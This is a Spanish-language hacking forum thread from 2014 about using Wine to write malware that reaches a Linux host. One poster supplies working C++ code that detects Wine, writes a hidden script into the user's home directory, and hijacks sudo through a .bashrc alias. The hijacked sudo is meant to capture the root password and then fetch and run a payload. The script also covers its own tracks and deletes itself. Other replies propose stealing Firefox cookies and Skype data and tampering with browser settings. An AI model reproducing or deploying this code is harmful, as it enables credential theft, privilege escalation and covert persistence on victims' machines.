elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  aprovechar wine para hacer un malware multiplataforma
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: aprovechar wine para hacer un malware multiplataforma  (Leído 3,413 veces)
daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
aprovechar wine para hacer un malware multiplataforma
« en: 7 Julio 2014, 00:53 am »

pues eso . Leyendo un poco es sencillo y hay varias formas de saber si se esta sobre wine http://forum.winehq.org/viewtopic.php?p=25906

queria saber si tenia sentido algo asi y que otras cosas se podrian hacer una vez se haya detectado que se esta corriendo sobre el wine

desde mi ignorancia , ya que no conozco mucho sobre el funcionamiento de linux . Lo que haria una vez detectado que esta corriendo sobre wine crear un sudo falso para obtener la clave de root y que luego el sudo que yo hice se encarge de bajar algo y ejecutarlo.

« Última modificación: 9 Julio 2014, 20:00 pm por daryo » En línea

buenas
.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: [pregunta]se podria aprovechar wine para hacer un malware multiplataforma?
« Respuesta #1 en: 7 Julio 2014, 03:25 am »

Yo diría que no ya que Wine emula las APIs de Microsoft pero en un entorno controlado, por lo cual no podrías tener acceso al exterior del entorno. Saludos
En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Re: [pregunta]se podria aprovechar wine para hacer un malware multiplataforma?
« Respuesta #2 en: 7 Julio 2014, 23:14 pm »

Igual suena interesante.. quizás explotar algún fallo de wine..  :silbar:
Pero no se, si esta bien programado seria muy dificil..

Saludos!
En línea

daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
aprovechar wine para hacer un malware multiplataforma
« Respuesta #3 en: 9 Julio 2014, 19:33 pm »

Citar
quizás explotar algún fallo de wine..
si habria que ver pero por ahora


mi idea funciona claro se puede mejorar muchas cosas pero funciona
Código
  1. #include <windows.h>
  2. #include <fstream>
  3.  
  4. using namespace std;
  5.  
  6. int main()
  7. {
  8.    HKEY llave;
  9.   //comprobamos la existencia de wine
  10.    long wine=RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\wine",0,KEY_READ,&llave);
  11.    if(wine!=ERROR_SUCCESS)
  12.    {
  13.        MessageBox(NULL,"no es wine","WINDOWS",MB_OK);
  14.    }
  15.    else
  16.    {
  17.    MessageBox(NULL,"wine detectado","WINDOWS",MB_OK);
  18.    // obtenemos el nombre de usuario que es el nombre de la carpeta home
  19.    char *usuario=getenv("USERNAME");
  20.    //por lo general wine permite el directorio root desde Z: asi que Z:\home\usuario es la carpeta del usuario
  21.    char *home="Z:\\home\\";
  22.    char home2[strlen(home)+strlen(usuario)];
  23.    //------------------------------
  24.    strcpy(home2,home);
  25.    strcat(home2,usuario);
  26.    //----------------------------------
  27.    //nos ubicamos en el directorio de usuario una vez alli  creamos un alias sudo=MiComando.sh en bashrc asi que cuando vuelvan a abrir la consola y ejecutan sudo abrira nuestro comando
  28.    if( SetCurrentDirectory(home2)!=0 )
  29.    {
  30.    ofstream bashrc;
  31.    ofstream nuevosudo;
  32.    bashrc.open(".bashrc",ios::app);
  33.    if(bashrc.is_open())
  34.    {
  35.        // le doy permisos para ejecutarlo y luego ejecuto el new.sh cuando abre sudo y ademas ejecuta nuestro comando
  36.     bashrc << "alias sudo='chmod +x \"$HOME/.new.sh\" && \"$HOME/.new.sh\" '" << endl;
  37.     bashrc.close();
  38.     //si no pongo en el nuevosudo ios::binary da error
  39.     nuevosudo.open(".new.sh",ios::binary);
  40.     nuevosudo << "#!/bin/bash " << endl;
  41.     nuevosudo << "echo aca iria el sudo falso :D"<<endl;
  42.     nuevosudo << "echo o cualquier cosa que se nos ocurra" << endl;
  43.     // comando para borrar la ultima linea de un archivo que seria el alias que acabo de escribir en bashrc
  44.     nuevosudo << "  cat .bashrc | awk 'BEGIN{x=0};{x++};END{print \"sed -i\" \" \"x\"d\" \" \" \".bashrc\" }'| sh " << endl;
  45.     // se corra el comando
  46.     nuevosudo << "alias sudo='/usr/bin/sudo' &" << endl;
  47.      nuevosudo << "rm \$0" << endl;
  48.     nuevosudo.close();
  49.    }
  50.    }
  51.    }
  52.    return 0;
  53. }
« Última modificación: 9 Julio 2014, 20:00 pm por daryo » En línea

buenas
vk496

Desconectado Desconectado

Mensajes: 205


Ver Perfil
Re:
« Respuesta #4 en: 9 Julio 2014, 20:27 pm »

Wine no se deja ejecutar con privilegios root. Eso te deja fuera de juego en Linux.

Salu2
En línea

daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re:
« Respuesta #5 en: 9 Julio 2014, 21:04 pm »

Wine no se deja ejecutar con privilegios root. Eso te deja fuera de juego en Linux.

Salu2
a ver creo que no entendiste
de nuevo crea un sudo falso y con este puedo o obtener privilegios de root usando el sudo real o obtener la clave de root .
si es un truco tonto :'P
http://foro.elhacker.net/scripting/bashcodigoconseguir_root_con_falso_sudo-t405273.0.html

 Ademas en la carpeta de usuario hay cosas interesantes por ejemplo en .mozilla esta el archivo prefs.js esta la configuracion de firefox podria cambiar la pagina de inicio, que lo probe o (no lo he probado ) instalar una extension , o tomar la base de datos de las cookies , o  ver informacion de la cuenta de skype.
En línea

buenas
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines